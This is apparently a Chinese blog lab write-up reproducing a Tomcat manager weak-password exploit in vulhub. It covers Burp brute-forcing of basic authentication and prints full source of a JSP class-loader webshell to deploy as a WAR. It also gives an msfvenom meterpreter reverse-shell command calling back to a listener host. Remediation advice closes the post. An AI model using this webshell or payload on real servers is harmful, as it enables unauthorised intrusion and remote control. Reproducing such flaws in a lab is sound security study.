tomcat弱口令后台getshell漏洞复现
漏洞描述
tomcat是一个用于快速部署jsp网站的中间件
tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell
tomcat默认目录解析
bin: 存放启动和关闭tomcat服务的可执行文件,例如.bat .exe .shcatalina.sh: 主要用于启动和管理tomcat服务器startup.sh: 启动tomcat服务shutdown.sh: 关闭tomcat服务configtest.sh: 检查配置文件conf: 存放配置文件server.xml: 全局配置文件web.xml: 控制tomcat支持的文件类型tomcat-users.xml: tomcat用户配置文件
lib: 各种jar文件,tomcat库文件logs: 日志文件webapps: Web应用程序目录,其中可能默认还有以下目录examples: 该目录是一个tomcat部署的一个默认项目,其中会展示tomcat的功能ROOT: 是Web服务的默认目录,例如在访问http://localhost:8080/目录时,默认访问呢就是该目录的文件manager: tomcat的管理应用,用于远程部署、启动、停止和卸载Web应用。这个应用通常需要管理员权限才能访问,该页面的用户配置文件由conf/tomcat-users.xml配置host-manager: 管理虚拟主机,需要管理员权限
这里只做简单了解。
漏洞利用
使用vulhub进行漏洞复现
cd vulhub/tomcat/tomcat8
sudo docker-compose up -d

该漏洞场景是部署没有修改的配置文件tomcat-users.xml,其中用户名和密码都是tomcat,这里我们为了学习更多的方法,采用burp尝试爆破basic认证
点击mananger app或者直接访问manager目录,会提示登录,这里随便输入使用burp抓包提交


发送到爆破模块

将YWRtaW46YWRtaW4=进行base64解码

所以这里需要添加三个参数并且拼接到一起,这是最好的方式是使用自定义迭代的方法
格式为: 用户名、:、密码,然后提交的时候进行base64加密,这里我们使用默认模式sniper(狙击手)

配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器
第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1

第二个变量是用户名和密码的分解符,所以直接加入:即可,选择位置2

第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3

取消默认将参数值进行url编码

最后进行base64编码

最后开始爆破

通过状态码为200表示爆破成功,我们进行base64解密后台用户名密码就是tomcat:tomcat

接着我们访问并登录后台找到上传war文件位置

这是需要执着一个war的包,可以自己手动打包,jsp一句话木马代码如下,密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用jar cvf test.war test.jsp打包

将该test.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp放到目录中,所以只需要访问test/test.jsp即可


访问成功,空白页面

使用蚁剑连接

额外的技巧,使用msfvenom也可以生成war后门文件,如下
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war
上传后只需要启动msfconsole然后use multi/handler,设置payload和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。
漏洞修复建议
- 将
conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器 - 将
manager目录下的功能暂时关闭,需要的时候打开

浙公网安备 33010602011771号